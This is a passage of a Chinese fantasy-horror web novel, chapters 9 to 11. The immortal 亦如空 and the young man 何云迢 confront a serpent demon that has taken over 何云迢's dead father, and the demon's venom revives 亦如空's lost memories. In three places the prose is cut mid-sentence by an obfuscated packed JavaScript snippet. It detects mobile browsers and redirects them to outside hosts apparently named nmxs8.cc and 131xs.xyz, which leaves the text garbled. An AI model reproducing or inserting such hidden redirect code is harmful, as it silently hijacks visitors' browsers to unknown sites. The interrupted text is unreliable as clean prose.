“对不住了,各位莫要怪我,我实在是没有办法,只得如此,但愿他吃了你们的肉,能够安静些时日,不去害人,你们的功德,我会记着的……” “谁要吃我的肉?” 身后突然传来一道低沉清朗的声音,被迎面的夜风吹散,好似从天际传来,飘渺不清。 但何云迢却听了个真切,他心中一震,手上缰绳猛地一勒,并驾的骏马仰头长嘶,险些将马车带得掀翻过去。 何云迢背脊发寒,无比缓慢地扭过头去。 只见凄凄月光下,婆娑树影间,被他买下来的其中一具尸体,此刻正稳稳端坐在马车的顶上,歪头看着他! 那灰墨的瞳孔,竟似比这林中夜色还幽深。 “啊!鬼啊——诈尸了!” 何云迢大叫一声,抛下缰绳,即刻便要弃车逃命,两匹骏马受惊,扬蹄嘶鸣不已,他此刻若是滚下车辕,少不得要被纷乱落下的马蹄踩个半死。 这不怪亦如空,他只是被颠簸得难受,加之在草席里被包裹着,边上又都是散发着浓郁香料气味的尸体,实在气闷,想上车顶上透透气,听见这青年自言自语,随口答了话,没想到竟将他吓成这副模样。 眼见青年就要摔到马蹄下去,亦如空想运起灵力,将对方托住,却气海一滞,半分灵力都未能使出,这才想起,自己早已不复当初。 他眉头微皱,顾不得细想,飞身跃出,将跳车的何云迢抱住,凌空急转,当下也无更好选择,只能拿自己当了垫子。 落地之后,亦如空迅速带着两人就地滚了几圈,躲开马蹄,掉进路旁的杂树丛中。 亦如空见这青年通身完好,并没有摔断胳膊腿,正要丢开他,这人却又放声叫喊起来,吓破胆般,不要命地挣扎扑腾着想要爬走。 亦如空不明所以,他哪里知道何云迢所想,对方已经认定他是具不腐僵尸,眼下亲见死人诈尸,又跟对方抱在一处,手上摸见瘦凸的筋骨、冰凉细滑的头发,已被吓个半死,彻底失了理智。 这厢何云迢拼死挣扎出去,连滚带爬想要逃进密林,跌跌撞撞,没跑出几步,见那林中黑魆魆一片望不到底,更是可怖,四周虫鸣阵阵,林草茂密,唯恐有毒蛇藏匿其间。 何云迢脚下发软,步伐又慢了下来。 回头望去,亦如空已站起身来,远远看着他, 何云迢吞了吞口水,看看那身披月芒的“僵尸”,又看看道路上的马车。 过了此处秋风岭,再行不远就能到达何宅,他实在不愿损了银钱丢了“货物”,还把家中最后两匹马、最后一架马车也搭进去。 何云迢将心一横,当即求饶道:“僵尸爷爷,僵尸大仙,你……你不要吃我,我我我不敢了,您想去哪就去哪,就放过我吧……让我赶着马车回家,走得远远的,再也不敢扰您清梦……” 何云迢一边求饶,一边小心翼翼挪动脚步,朝着马车靠近,却见远处那静立的僵尸忽然身形一闪,灵活得如同一只轻飘飘的野鸟,又无声无息落回马车顶上。 何云迢站住脚步,两股战战,不敢再靠近,哭丧着脸嗫诺道:“僵尸爷爷,您是不是饿了?这里有两匹好马,要不,您吃上一匹打打牙祭,给我留下一匹,让我好归家去……” “谁说我要吃你,又是谁说我要吃马了?”亦如空摆摆衣袖,“我看起来像是那茹毛饮血的野兽?” 确实不像野兽,何云迢借着月光看清了些,这等相貌身姿,倒是更像神仙。 可是…… 可是何云迢是在震岛尸坊的死人堆里买下他的,冥老那里卖的,从来只有死尸,哪来活人神仙? 什么仙姿佚貌,大概是鬼气森森的假象,是这月夜的幻觉。 “那你……那我……”何云迢想要靠近马车却又不敢,一时不知如何是好。 亦如空拍拍衣袖上的草屑,找个舒服的姿势靠在车顶上:“走吧,你来赶车,马车里实在憋闷,我就待在这里。” 何云迢目瞪口呆:“可、可是……”这僵尸难道没听见,自己买他回去,是要将他吃掉吗? 亦如空似乎看穿他的心思,淡淡道:“你已经买下我,我自然要跟你走。” 他轻轻一笑:“加上我也实在好奇,到底是什么东西,能吃得下我的肉。” 亦如空说得真心实意,但何云迢听在耳里,却是实实在在的威胁,仿佛这话外的意思是要跟着他到家去,杀他全家以作报复,一时惶恐。 但转念一想,自己家中哪还有人?家人奴仆都被那妖魔吞尽了,自己眼下又何尝不是一无所有,走投无路? 越想越悲凉,心中的愤懑绝望盖过了恐惧,何云迢将心一横,死就死吧,死了还干净! 于是不再犹豫,就这么梗着脖子快步走过去,重新驾起马车,全程目视前方,看也不敢多看亦如空一眼。 余下的几里路按下不表,马车很快抵达几里外的何宅。 这宅子占地颇广,原本应当是人丁兴旺、繁华富庶的景象,但不知怎的,看上去像是突然荒废了。 大宅门前牌匾歪斜,门楣两侧的纸灯笼掉在地上,无人收捡,门槛也被砸碎,砖石胡乱堆在两旁。偌大的宅院,竟无一丝灯火人声,静得诡异。 何云迢跳下马车,硬着头皮道:“我们到了。” 话音未落,亦如空已从车顶飘下来,悄无声息地落在何云迢身边。 “你家看起来没人,还是他们都已睡下了?” 何云迢此时又是害怕,又是苦闷,咬着牙道:“进去看看你就知道了。” 他牵着马,引着马儿将那一车尸体拉进院中。 想来那门槛也许就是他砸碎的,为的就是方便这一遭。 亦如空看在眼里,道:“或许今夜过后,你便不用再做这件事了。” “啊?”何云迢神思恍惚,没明白他的意思。 亦如空不想重复,只示意他带路。 静,实在太安静了。 一路上荒山野岭尚有虫声鸟鸣,这宅院却是全然静寂无声,院门打开时的声音在这静夜里已是震耳,除了天空洒下的惨白月光,院中再无光亮,如同一座巨大的坟茔,比之震岛尸坊也不遑多让。 这般诡地,常人恐怕不敢靠近。 好在亦如空不是常人,他一脚便踏了进去,还拽了那踟蹰不前的青年一把。 何云迢对他避之唯恐不及,对自己的家宅似乎也是惧怕非常,此刻被拉扯着,一时间只觉全天下都没有自己这样倒霉悲惨的人,皱着脸几乎要哭出来。 亦如空见状,松开手,拍了拍他的肩,何云迢被他一拍,再也忍不住,落下泪来。 亦如空收回手,看看自己的手掌,再看看对方一个大男人哭成这般模样,倒不知如何是好了。 哭了一阵,见那僵尸也不催促自己,只是默默等着,目光平静如海,何云迢还硬生生从中看出几分关切之色,他颇感意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357304|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了愣,眨巴眨巴眼,抹了一把眼泪鼻涕,吸声道:“你……你这僵尸,人还挺好的。” 这话说得甚怪,亦如空并不在意,只是一笑。 何云迢看他在月色底下唇角一扬,何等的俊逸出尘,简直是这鬼宅子里最温暖美好的存在,他近来所经历的事、看见的怪相,哪一个不比眼前这位更加恐怖诡恶? 见对方犹在怔愣,亦如空问道:“你家中究竟遭了什么变故,为何会变成这幅景象?” 何云迢回过神来,这才想起摸出怀中的火折子,在地上随手捡了一只吹落的破烂灯笼点燃,领着亦如空朝院内走去。 一绕过影壁,亦如空便看见了那堂前檐下随处可见的白练,这院中,竟设着一个灵堂。 堂屋门前正中,白纸上硕大的奠字已掉下一半,奠字前停着一方灵案,照理说上面应该是一副棺材,此刻却只剩个棺材底,棺盖斜扔在一边,染着黑漆的木板碎屑遍地都是。 何云迢叹息道:“几个月前,我家中哪是这般凄凉景象,一切都是因为,我爹,被一条毒蛇咬了……” 何府家主何良才,也就是何云迢的爹,生来就是个清闲的富贵老爷,事事有人伺候,原本只用在家中享享清福,谁知那日,他兴致上来,非要外出游玩,也不愿乘轿子,自己撑着竹杖,只带了两个家丁,便去西郊外的九里坡登山游玩。 结果到了夜幕时分,何老爷却是被两个家丁抬着回来的,叠声惨叫个不停。 定睛一看,何老爷右脚踝处两个渗血的窟窿眼,整条腿已经青紫发黑,一看就是遭了蛇咬,身中蛇毒。 家丁说大腿上勒了布条,已挤过毒血,紧急敷了草药,但并无效果,究竟是什么样的蛇咬伤的,他们也未看清。 那时候天气寒冷,照理说不该有蛇活动,但事情已经发生,只悔恨千不该万不该非要去爬山,惹出这等祸端。 家中哭成一片,郎中请了再多也无用,那蛇毒委实厉害,何老爷当夜便撒手人寰。 发生此般惨剧,已是不幸,但更可怕的事情,还在后面—— 守灵七日后,原本到了何老爷下葬的日子,正要钉棺起灵,却忽然听见棺材中传出咕噜噜一声怪响。 众人一震,以为听错了,谁知棺材里又传出一声,这回听得分明,是在说:“我饿……” 众亲属大惊失色,以为错听,谁知里面又传出一声“我饿”,那声音有如从地狱传来,粗哑阴森,叫在场众人无不汗毛倒竖。 怕是起尸闹鬼,大家战战兢兢不敢靠近,唯有何云迢的姨娘扑上去,哭说老爷没有死,这是醒了在嚷饿,要吃的呢。当即哭着闹着要开棺,将老爷救出来。 众人无法,只能又撬了棺钉,掀开棺盖一看,何老爷仍是闭目躺着,双目口唇皆紧闭,满面浮肿青黑,一副死得不能再死的死相。 那些声音,好似根本不是他发出来的,只是所有人的幻觉。 可是这么多人都听到了,怎么会是幻觉呢? 何云迢当时就在棺材边上,也听得真真切切,犹在惊疑间,何云迢看见父亲瘀肿的嘴唇猛烈蠕动一下,还未及看仔细,那嘴忽地张大到一个匪夷所思的程度,棺旁正哭啼啼的姨娘一声尖叫还未挤出喉咙,脑袋已经被何老爷一口咬住。 何云迢吓得一屁股跌倒在地,烧纸的火盆被踢翻,火星四溅。 尖叫四起,吊唁的宾客四散奔逃,宅子里乱成一片。 何良才双目怒睁,变得奇长的粗壮脖颈从棺中伸出,下方膨胀庞大数倍的身体渐渐升起,早已没了人的形状—— 何府家主何良才,在死后第七天,变成了一只人首蛇身的怪物。 9.赤虚妖蛇 何云迢当时被吓得肝胆欲裂,几乎晕厥,恍恍惚惚间,错失许多细节。 只记得,那巨蛇在他眼前不断膨胀,棺材板被撑裂,木片碎屑四溅飞出。 到最后,那巨蛇的身体大得几乎将整个庭院塞满,顶上那颗人头也跟着放大无数倍,诡异得令人发指。 在场的宾客奔逃不及,有的被压死,还会跑的,俱被那巨蛇如风卷残云一般,吞了个干干净净,却唯独剩下何云迢一个。 吃完人之后,那人面巨蟒凑到何云迢眼前,张合着腥风扑鼻的大嘴,说道:“儿啊,为父七天要吃一次人,不多不少,只要十人,你可要给为父找来啊。” 说罢便扭转硕大的身体,游往后院的枯井中去了。 说来也奇,那怪物竟似能够随意变换大小,钻进井里前,蛇身已变细许多,正好能进入那狭小的井口。 何云迢哪敢认怪物当爹,第二天便去找来驱妖捉鬼的术士,奈何术士符还未画好,阵还未摆完,便被井口突然窜出的巨蛇咬住半边身子,拖入了枯井之中。 “儿啊,为父不急,七日之后,再送人来,否则,我就先吃你的同窗好友李吴二人,再吃你青梅竹马的赵家姑娘,儿啊,切记啊。” 枯井底下传来的声音让何云迢遍体生寒、如坠冰窟,他怎么也没想到,这怪物竟然还有父亲生前的记忆,知道自己的朋友玩伴,竟会以他们为要挟。 “……我当时甚至在想,这是不是我们何家前世的冤孽,或者是我做错了什么,不知什么时候不小心得罪了哪路蛇妖,才落得这个下场。” 何云迢大略讲完自己的遭遇,已是面如死灰:“我什么都告诉你了,可以放过我了吗?我还要去将那些尸体投入井中,喂给那蛇妖,若耽误了时辰,我怕……”。 亦如空道:“我本来也没有要将你怎样。” 何云迢讷讷道:“哦……那……” 亦如空看他一眼:“从那之后,你就每隔七日,去冥老那里买十具尸体,饲给那妖蛇。” “对……”何云迢看看亦如空的脸色,“我想着,左右也是尸体了,至少省得他去害活人性命,所以就……谁承想……” 亦如空心知,这妖蛇就是冥老所说的玄妖,也是自己今夜的目标。 他想着何云迢方才的描述,心中隐隐有了些猜想,只是还不确定。 何云迢叹息道:“唉,如今尸首少了一具,我未能完成他的要求,却不知会如何为难与我,他吃了我倒也干净,只恐害了旁人。” 青年眼底青灰、衣衫粘尘,全然看不出曾经的富贵无忧,只剩落拓模样。 他正沮丧着,忽听亦如空清冽的声音响起:“你往后都不会有这个烦恼了。” “啊?”何云迢抬头看他,似乎没听明白。 亦如空又道:“你带我去那井边吧。” 后院枯井周围,凌乱的黄纸符咒四散纷飞,周遭到处是雄黄撒过的痕迹,凑近井口,只觉凉意袭人,空气中夹杂着一丝隐隐的腥臭气。 何云迢无奈道:“我什么方法都试过了,雄黄,符纸,对那蛇妖都是无用。” 亦如空朝那黑洞洞的井中看去,并不见蛇妖的端倪。 “你确定它还在这井中?” “确定,至少我离开家之前,他一直在里面。” 亦如空想了想,抬脚一迈,站上井边。 何云迢正在搬动马车上的尸体,见他如此,吓了一跳,惊道:“你要干什么?” 亦如空朝他一笑,轻轻一跃,毫不犹豫,跳入井中。 何云迢见他身影就此消失,惊惧交加,愣在了原地。 他没想到这‘僵尸’竟敢自己送上门去,难不成他有什么大神通,能比那能蛇妖还厉害? 不,他是没见过蛇妖暴涨的庞大身躯,就他那一身颀长瘦骨,恐怕还不够塞牙缝! 何云迢犹豫片刻,缓缓靠近井边,小心翼翼朝下看去,却已经不见对方的身影,难不成已经被蛇妖无声无息拖走了? 沉默半晌,何云迢叹息一声,他也别无他法,只求能先过眼下这一关,但愿过了今夜,蛇妖能再安静七日,给他时间再做打算。 费尽力气将马车上的尸首搬下来,一具具抛入井中后,何云迢双手合十,朝井口方向拜了几拜,念了几句罪过。 亦如空跃入井底后,便看见井壁上有一处略高于人的洞口,望去幽深晦暗,也不知有多深远,想必那青年的蛇妖父亲,便是钻进了这处空洞之中。 洞口只有一个,亦如空目标明确,毫无停顿,信步迈进那黑魆洞窟中,步履何其从容。 但他的从容只维持了片刻——只缘那洞窟实在极深,且弯弯绕绕,十分曲折,走了许久依然不见尽头。 若是从前,他何惧这一点黑暗,手一挥便叫此处掀翻透亮,何至于如现在这般——彻底远离了光亮,路着实难走,他一边黑暗中摸索前行,一边不由得想,自己此刻的模样,可实在算不得潇洒。 好在,他这点不为人知的窘迫,只持续了不到半个时辰,这条黑漆的通道终于接近尽头,微弱的光亮重新挤了进来。 亦如空加快脚步,走出通道。 东淤洲本就多山岭,山峦丘岭连绵,何宅的后方便是山岭,那井底的通道,竟一路通到山体之中。 到达深处后,空间骤然开阔,脚下是不见底的深渊,往上方望去,数丈高的顶上有一道狭长裂隙,月光便是从那处透进来的。 今夜月色虽好,但毕竟在如此地下深处,那一线光亮,实在微弱难辨。 亦如空能嗅到空气中的腥腐臭气,谷底冷风吹动他的发梢,一股熟悉的蛇腥气味迎面而来。 他朝下看去,心知蛇妖必在此处,应当就盘踞在脚下的深渊里。 亦如空伸展一番胳膊肩背,再次感知体内的灵元。 嗯,打个瞬间的亮倒是不难。 亦如空伸手打个响指,一小团微光从指间迸出,他用两根手指当空一弹,那微光变成一团火光升腾,直到深渊中间,炸开成无数星点,往地底缓缓坠去。 火团炸开的那一刹,光芒几乎将整个硕大的空间全部照亮,亦如空也在这一眼之间,看清楚那巨蛇的全貌。 巨大的身躯布满赤红黝黑交杂的花纹,片片蛇鳞大如伞盖,那蛇盘缩着,身体几乎填满整个谷底。 亦如空听完那青年的讲述,搜寻过自己过分遥远的记忆,他回想那些古老陆地上的妖邪,想起一种可以随意变幻大小,通过毒液蔓延寄生在其他物种身上的妖蛇,名为赤虚。 如今看见此妖蛇真身,亦如空心知,自己猜得不错。 他还记得这种赤虚蛇的习性,寻常的蛇生长间自会蜕皮,而这赤虚蛇蜕皮生长的方式,却是不停占据别人的身体,一次次更换躯壳,由此不断蜕变。 中了此物的毒,犹如被它寄生,七日之后便会变成蛇形,被占去身体和记忆。 巨蛇不知有人造访,还在底下酣睡。 气味实在难闻,亦如空用衣袖掩了口鼻,想了想,抬脚勾过一块石头,一脚踹了下去。 那石头个头不小,如此高度滚落下去,砸在蛇身上,发出一声巨响。 那人头蛇身的巨物受到惊扰,惊醒过来,想是在蠕动身躯,鳞片摩擦,在底下窸窸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387544|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窣窣响动。 亦如空扬声道:“醒了吗?我不想下去,劳烦你上来,有事找你。” 洞窟空旷,亦如空的声音在洞壁间不断回荡。 巨蛇自是听到了,身躯从深渊中摇转升起,一眨眼,丈高的巨面已伸到与亦如空平行的高度。 “哪来的胆大包天的小子,老子还没出去,竟自己找上门来给我吃?” 蛇妖粗哑嘲哳的声音在天坑间震响,巨脸上肥大的眼皮半垮着,露出灰败空洞的眼睛,一张人皮脸,说话间却吐着蛇信子。在那些还在缓缓下坠的隐约光点中,墨色的蛇鳞泛着隐约的红,十足的妖异诡谲。 亦如空从来不喜欢蛇,这样丑陋阴险的蛇,更是叫他眉头打皱。 任何妖物都有弱点,这东西也不例外,亦如空翻找自己的记忆,正思量间,那妖蛇的脸突然凑近,欣喜道:“嘶——好一副绝妙的身子骨,我原本还想着,过几天再换去那何家小子的身上玩玩,没想到今夜来了一个如此有趣的……” 巨蛇耸动鼻子,在亦如空周围猛嗅,耷拉的眼皮猛然掀开,喜道:“嘶嘶——你肯定比那些凡夫俗子美味多了!” 亦如空离开深渊边缘的平台,往身后来时的洞中退了几步,远离那大蛇口中喷洒的腥风,面上淡淡笑着:“恰恰相反,我的骨头,或许比你还老得多,可不好消化。” “少废话,老子吃定你了。”妖蛇摇晃着头颅,将大脸塞在洞口,脸肉挤得土石纷纷落下,“比起那些人,你这颗脑袋里的东西,我更感兴趣——你脑子里,一定有很多有趣的记忆吧。” 赤虚妖蛇浑浊的眼睛泛起光亮,滴着涎水的蛇信往洞中直探,几乎伸在亦如空身上。 亦如空一边暗忖,一边脚步后撤,他不想放出忘尘椎,那武器炽烈刚猛,一旦凌空,他怕自己掌控不够精准,会损毁妖丹,白忙一场,还是拿在手上稳妥一些。 巨蛇看他越退越远,面露愠色,缩小了一大圈,跟着他挤进洞穴,步步紧逼。 便是此刻! 亦如空一个灵巧跃起,一脚踢在妖蛇的大脸上。 那一脚的体验实在算不上好,绵软诡异的触感,隔着靴底也叫人浑身难受。 亦如空轻“啧”一声,顾不上想那么多,他一脚之力委实不轻,踢完之后,便鹞子翻身而上,身子挤进巨蛇和洞穴顶的狭小空隙间,方才一直积蓄的灵力全部汇集至右手掌中,虚空握出忘尘椎。 巨蛇还在往前的惯力中,亦如空目不能视,根据巨蛇的痛呼,估计着七寸的位置,毫不犹豫,猛力刺下。 然而,那赤虚妖蛇实在狡猾,最后一刻竟看出亦如空的打算,猛地再将身量骤缩,瞬间变成不及碗口粗的大小,体型一变,亦如空这一刺自然落空。 亦如空立即收住攻势,凌空一踏洞壁,优雅地落回地面。毕竟妖蛇身躯骤缩,他怕忘尘椎这般刺去,会连妖丹一起灼毁。 “好你个阴险狡诈的东西!那何家小子果然还不老实,先前的术士不算,又找了你来想降伏我?” 那妖蛇被踢了脸面,又险些被钉死七寸,气得破口大骂,只是个头变小了,声音从粗狂震耳变成了尖细,听来有些好笑。 “你这样看听起来,比刚才要可爱得多,不如继续保持。”亦如空评价道。 “滚你娘的,我咬死你!”长蛇恼羞成怒,凌空弹起,一下挂在亦如空的身上,绞缠上他的腰。 亦如空手指如风,要再去捉那蛇的七寸,谁料,这蛇竟还会移形换影,亦如空手指落下时,它已瞬间消失不见,再出现时,已闪电般绕至亦如空身后,两枚毒牙弹出,狠狠扎向他的后颈。 10.记忆如海深 毒牙刺进亦如空的后颈,毒液瞬间泵入体内,首先袭来的,是剧痛,剧痛过后,亦如空听见一声惨呼—— 发出惨呼的不是亦如空,而是那毒蛇。 赤虚蛇在地上痛苦翻滚,仿佛中了蛇毒的不是亦如空,而是它自己。 惨叫声在洞穴山窟中回荡,赤虚蛇惊骇地向着亦如空道:“你!你究竟是什么人?!” 亦如空摸了摸自己后颈,那剧痛来得快,去得更快,剧痛之后,伤口处忽然诡异地泛起一股暖流。 他看见眼前迸发出一阵炫目的光亮,脚下的土地好像变成了摇晃的液体,他脚下一空,沉入其中。 “水面”之下,却是一片明亮通透的虚空,亦如空不断下坠,周围有赤红色的花朵随着他一起坠落,他抓住手边一朵,花却在他掌心化作一团红色的烟雾。 亦如空一时认不出这是什么花,他继续下坠,急速掠过的风声里,他听见熟悉的尖叫声,竟是那白玉天书的声音在叫喊:“红色的!开的是红色的昙花!不对!不对!重来!” “砰!——” 亦如空狠狠地撞上了什么,但他丝毫感觉不到疼痛,他只知道自己似乎撞破了一层布,而穿过这一层,底下是更深的虚空。 他在不停歇的下落中仰头看,顶上原来是一片硕大的、遮天蔽日的红色花瓣。 花瓣被他砸出一个破洞,露出上方的一点天穹,而那里,竟似乎有一个人影,正隔着破口,俯身看他。 但亦如空来不及看清楚,因为他下落的速度太快,那个窟窿、甚至那巨大的花瓣,很快便小得完全看不见了。 “哗啦——” 亦如空掉进一片密密匝匝的树冠中,他在枝条林叶间接着下坠,密实的树枝并没有托住他,枝桠仿佛穿过了他的躯体,丝毫未能阻止他下落的速度。 他试图伸手去抓,但那些枝叶也同之前的红色花瓣一样,在他掌心化作烟尘。 世上没有这样高的树,亦如空心想。因为穿过那些树冠之后,他又下落了许久,直到最后,落在一张床榻上。 极速的坠落并没有让他受伤,他安安稳稳地卧在这张简陋的床铺里,望着头顶的茅草,仿佛从出生起就一直躺在这里。 亦如空试图起身,但没有成功,他继续躺着,听到有人靠近的声音。 紧接着,一只粗糙的手抚摸上他的额头。 他听见一道苍老的声音在说:“醒啦,孩子,是不是梦魇了?你已睡了许久,也该……” 亦如空猛地伸手,捉住那只苍老的手腕,他转眼看去,那是一个老妪,发髻花白,衣衫破旧,一副农妇模样,满眼关切。 “怎么了,孩子?” “我……”亦如空实在疑惑,他浑浑噩噩,只发出一个音节,便感觉身体往下猛地一沉,又是那种坠落感,床榻和茅草房都在上方迅速远去,变成天边的一个小点。 坠落着,坠落着,亦如空看见自己长出了鳞片,长出了尖爪,渐渐的,他变成了某种兽类—— 鳞泛华彩,须若祥云,他在半空中晃一晃琉璃般的利爪,被爪尖触碰的云雾竟都变成珠玉坠落。 他以这么一副样子缓缓掉落在土地上,毫发无伤,身下是一片芬芳柔软的草地,湖泊如明镜,不远处有溪流潺潺,蝶舞莺飞,犹如仙境,这是——虚弥之境? 亦如空从草地上爬起来,迈动生涩的四肢,来到那镜子一般的湖边,他看见水中自己的倒影,只觉得无比陌生。 好一会他才想起,这是应空兽的模样。 他最初诞生于天地间,便是这个样子。 先有感知,再有躯体,最后才拥有一双眼睛,看见天地万物。虚弥之境里的众生称这天生的神奇躯壳为法身,又经历许久许久,久到山峦形成,河流改道,应空兽才褪去这法身,化作人形。 好端端的,为什么要化作人形?亦如空只记得,自己最初只是想去人间瞧一瞧,而后来……后来…… 他忽而惊觉,原来自己忘掉了太多东西。 他只记得白玉天书对自己的指示,记得虚弥之境的消逝,记得自己经历了很多次失败,记得重生时的怨愤与不甘。 但这其中的细节,竟已完全被他遗忘。 到底为什么会失败?红色的昙花是什么?那一次次的重来,重来的是什么?而成功之后,又会如何? 他脑中一片混乱,一时间只觉得疲惫无比,他头晕目眩,重新跌倒在草地上,半边身躯浸没在冰凉的湖水里。 过了不知多久,有悉悉索索的声音渐渐靠近他,原来是湖中的水草,它们正伸展着细软的茎叶,轻轻触摸他的额头,叶片拂过,留下湿漉漉的水迹,散发出幽蓝的萤光。 跟着又有蝴蝶落在他的肩头,鳞翅像火焰一样散发火光,似乎怕自己的火焰会触及到应空兽的须发,那蝴蝶又轻飘飘飞远一些,落在他的爪尖。 草地附近的林中,渐渐有了更多声音,树木的枝叶向他围拢,羽毛奇异的鸟儿飞来,落在他周围,叫不出名字的小兽耸动湿润的鼻子,轻轻嗅他。 天旋地转的不适感很快消散,亦如空混乱的思绪忽然平静下来,他在一种轻柔纯粹的关切中放松了身体,几乎要安睡过去。 然而这种安适的美好并没有持续太久,他只觉身下一空,那芬芳草地又化作虚无,他再一次凌空坠落。 这一次,他重重摔在地上,面前的土地,同先前的曼妙仙境截然不同,遍地灰烬,一片焦土。 应空神兽摔落在地,很快便有人群向他围拢,人们目中有狂热、有惶惑、有惊恐、有怨毒,他们黑压压围拢过来,手中利刃泛着寒光。 “这爪子能点石成金,先抢爪子!……” “血是灵气之源,是救命的东西……” “鳞片!我要鳞片……” 嘈杂声混着烟尘四起,有无数尖刀在挥舞,无数双手在撕扯争夺,混乱过后,法身被瓜分殆尽,只剩变回人形的亦如空,静静地躺在尘土灰烬里。 那些人和那些杂乱的声音,转眼间已完全消散,仿佛从未存在过一般。 亦如空在尘埃中轻轻叹了一口气,地面再次坍塌,他和那些尘土灰烬一起下落,在似乎永不见底的深空中下沉、再下沉。 渐渐的,灰尘看不见了,他穿过一团云雾,褴褛脏污的衣衫忽然变成云似的柔软衣袍,带着他一路飘摇。 他自己好像也变成了一朵云,只知道漫无边际地漂浮,似乎永远不会落地。 但好在,最后这朵云还是有了落脚点,他轻飘飘从天际而来,落在一根树枝上。 那是一棵古老寒松的树枝,姿态优美,拿云攫石,亦如空躺在树梢上,微微一动,朝下看去。 这古松下,有一方石桌,石桌两旁,坐了两个对坐饮茶的人,一个须发皆白,一个乌发如云。 亦如空试图看得再真切一些,却没能成功,因为树枝上突然跳下来一只灰毛松鼠,正好扑在他的脸上。 那松鼠的大尾巴扫着他的脸颊,毫不客气地口吐人言道:“你在这干什么?这不是你睡觉的地方!” 亦如空猛然惊醒。 他睁开眼,四周只有一片黑暗,那些芳草的清香、寒凉的云雾,全都消散不见,鼻端只有恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410275|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭的腥风。 他还在那洞窟之中。 赤虚蛇还在痛苦翻滚,质问亦如空究竟是谁。 刚才的一切,竟只在一瞬之间。 亦如空的抵住额角,试图理顺幻境里凌乱无章的记忆。 他心知,那赤虚蛇是剥夺人的身躯和记忆而生,它的毒液想必能刺激人的记忆,被它咬中,竟意外让亦如空捡起一些早已被遗忘的记忆碎片。 然而,赤虚蛇却承受不住亦如空骤然袭来的记忆。 若人类的记忆是一滴露水,那么它此刻接收到的,就是一整个汪洋大海。 若不是及时撤开,赤虚蛇险些因为这强大的冲击反噬,命丧当场。 好不容易等那阵蚀骨的痛苦过去,赤虚蛇战战兢兢看向亦如空,声音打着颤,全然不复先前的嚣张狂妄:“你的记忆……怎会、怎会……你竟是……” 说着,它似乎突然反应过来,立马扭转身体,朝着深渊天坑方向飞速逃去。 亦如空收回思绪,听见赤虚蛇游走的声音,立刻追到深渊边缘。 借着月光,只见那妖蛇放大了身形,正腾空飞起,试图从天坑顶的裂缝中飞出逃走。 亦如空追赶不及,正要催动忘尘椎,却忽见缝隙之上的月光猛地一暗,似乎被什么巨物所遮挡。 赤虚蛇正好冲到裂缝边缘,突然被挡住去路,一头撞上障碍,又直直坠落下来。 亦如空仰头看,月光已完全消失,天顶传来巨大的响动,土石被推挤,纷纷下落。 亦如空只能再次打出一道亮光,这才看清,那天坑缝隙间,正挤进一只庞然大物,巨索般的身形沿着峭壁蠕动而下,竟是另一条巨蟒。 这巨蟒通身碧色鳞片,只有半个脑袋,尾巴也断去一截,偌大身躯上,好几处皮肉翻卷的陈旧伤痕。 碧色巨蟒游弋而下,残破的半边脑袋上,一只大如天灯的竖瞳巨目赤红如血。 赤虚蛇晃晃被撞得眩晕的脑袋,看清自己撞上何物后,惊骇万分,再次落荒而逃。 它慌不择路,想往天坑底部逃去,却忘了那里并无出路,转头想起亦如空所在的通道,想再从通道逃往何宅枯井的方向,却已然来不及。 那碧色巨蟒破空而下,一口咬住正在挣扎逃窜的赤虚蛇。 赤虚蛇挣扎叫喊:“等等!等等!别杀我,这里还有一个人,你知道那是谁吗?你我得联手……” 碧色巨蟒压根不去听对方的告饶,在赤虚蛇刺耳的尖啸声中,硬生生将其绞紧、对折,巨蟒的绞缠恐有千钧之力,那赤虚蛇竟被生生折成两半。 呼声戛然而止,巨蟒卸力,任凭断蛇残躯扑簌坠进深渊之下,唯余一颗从断裂处掉出的妖丹,正散发着微弱的红光,悬浮于空。 巨蟒将头一摆,大嘴一张,似乎想将那妖丹吞入腹中。 方才两蛇相残,亦如空插不上手,此刻眼见巨蟒要同他抢夺妖丹,再不犹豫,立刻出手。 他一甩衣袖,忘尘椎锤头朝前猛地飞出,击中碧色巨蟒的下颌,将那庞然大物撞得一歪。与此同时,亦如空脚下一蹬石壁,借力而起,将那枚悬空的妖丹卷入袍袖之中。 拿到妖丹,亦如空一个旋身,稳稳落回崖边地面。 那碧色巨蟒遭受重击,许是因为疼痛,在山岩上狂乱游走一圈,鳞片磨擦岩壁,洞穴内尘土簌簌。 忽地,它定住不动了,那只赤红巨目死死盯住亦如空所在的方向。 巨蟒独眼盯着亦如空,忽然张嘴说话,嗓音嘶哑锐利,一字一句,在空旷的深渊石壁间回响—— “竟、然、是、你。” 11.柳玉京 